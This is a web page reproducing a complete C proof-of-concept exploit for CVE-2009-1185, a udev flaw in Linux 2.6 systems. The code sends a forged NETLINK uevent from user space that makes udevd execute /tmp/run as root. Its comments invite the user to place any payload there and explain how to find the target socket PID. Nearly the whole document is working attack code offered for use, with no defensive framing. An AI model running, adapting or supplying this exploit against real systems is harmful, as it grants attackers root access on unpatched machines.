Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit

kindle

/*
* cve-2009-1185.c
*
* udev < 141 Local Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
*   udev before 1.4.1 does not verify whether a NETLINK message originates
*   from kernel space, which allows local users to gain privileges by sending
*   a NETLINK message from user space.
*
* Notes:
*   
*   An alternate version of kcope's exploit.  This exploit leverages the
*   95-udev-late.rules functionality that is meant to run arbitrary commands
*   when a device is removed.  A bit cleaner and reliable as long as your
*   distro ships that rule file.  The exploit will execute /tmp/run as root
*   so throw whatever payload you want in there.
*
*   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*   usually is the udevd PID minus 1) as argv[1].
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
int sock;
char *mp;
char message[4096];
struct msghdr msg;
struct iovec iovector;
struct sockaddr_nl address;

memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;

msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;

sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));

mp = message;
mp += sprintf(mp, "a@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);

sendmsg(sock, &msg, 0);

close(sock);

return 0;
}